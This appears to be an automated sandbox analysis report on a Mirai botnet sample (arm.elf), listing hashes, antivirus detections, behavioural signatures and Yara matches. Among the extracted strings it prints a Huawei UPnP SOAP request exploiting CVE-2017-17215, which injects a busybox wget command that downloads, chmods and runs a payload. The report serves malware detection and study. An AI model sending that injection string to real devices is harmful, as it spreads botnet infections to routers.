Linux Analysis Report
arm.elf

Overview

General Information

Sample name: arm.elf
Analysis ID: 1524325
MD5: 2dfe4015d6269311db6073085fd73d1b
SHA1: b8b0c34113f7b2f97eb1cc786225a1735b128ee5
SHA256: 0a20d19b0b339d9bde7dc57f638adb0d72fd6f4bd6bdb96aec28eb3300232137
Tags: 404CVE-2017-17215elfuser-NDA0E
Infos:

Detection

Mirai
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample reads /proc/mounts (often used for finding a writable filesystem)
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sleeps for long times indicative of sandbox evasion
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: arm.elf Avira: detected
Source: arm.elf ReversingLabs: Detection: 68%
Source: /tmp/arm.elf (PID: 5523) Socket: 127.0.0.1:1172 Jump to behavior
Source: arm.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/arm.elf (PID: 5618) SIGKILL sent: pid: 5616, result: successful Jump to behavior
Source: classification engine Classification label: mal76.troj.linELF@0/0@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/arm.elf (PID: 5525) File: /proc/5525/mounts Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5560/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5561/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5551/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5562/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5552/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5563/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5553/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5564/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5356/cmdline Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5554/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5565/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/322/cmdline Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5555/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5566/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5556/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5557/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5558/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5569/status Jump to behavior
Source: /tmp/arm.elf (PID: 5535) File opened: /proc/5559/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5560/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5561/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5551/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5562/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5552/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5563/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5553/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5564/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5356/cmdline Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5554/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5565/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/3044/cmdline Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5555/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5566/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5556/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5535/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5557/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5525/cmdline Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5536/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5536/cmdline Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5558/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5559/status Jump to behavior
Source: /tmp/arm.elf (PID: 5526) File opened: /proc/5539/status Jump to behavior
Source: /usr/bin/dash (PID: 5503) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.R3zOK1IaBI /tmp/tmp.DE4GQ22dnw /tmp/tmp.E2hO4OIRXH Jump to behavior
Source: /usr/bin/dash (PID: 5504) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.R3zOK1IaBI /tmp/tmp.DE4GQ22dnw /tmp/tmp.E2hO4OIRXH Jump to behavior
Source: /tmp/arm.elf (PID: 5618) Sleeps longer then 60s: 60.0s Jump to behavior
Source: /tmp/arm.elf (PID: 5523) Queries kernel information via 'uname': Jump to behavior
Source: arm.elf, 5523.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5525.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5536.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5616.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5618.1.00005631ad50d000.00005631ad682000.rw-.sdmp Binary or memory string: 1V!/etc/qemu-binfmt/arm
Source: arm.elf, 5523.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5525.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5536.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5616.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5618.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 5523.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5525.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5536.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5616.1.00005631ad50d000.00005631ad682000.rw-.sdmp, arm.elf, 5618.1.00005631ad50d000.00005631ad682000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 5523.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5525.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5536.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5616.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp, arm.elf, 5618.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm.elf, 5536.1.00007ffee69cb000.00007ffee69ec000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: arm.elf, type: SAMPLE
Source: Yara match File source: 5523.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5536.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5616.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5525.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5618.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.elf PID: 5523, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5525, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5536, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5616, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5618, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: arm.elf, type: SAMPLE
Source: Yara match File source: 5523.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5536.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5616.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5525.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5618.1.00007f2b84017000.00007f2b8402a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.elf PID: 5523, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5525, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5536, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5616, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.elf PID: 5618, type: MEMORYSTR
No contacted IP infos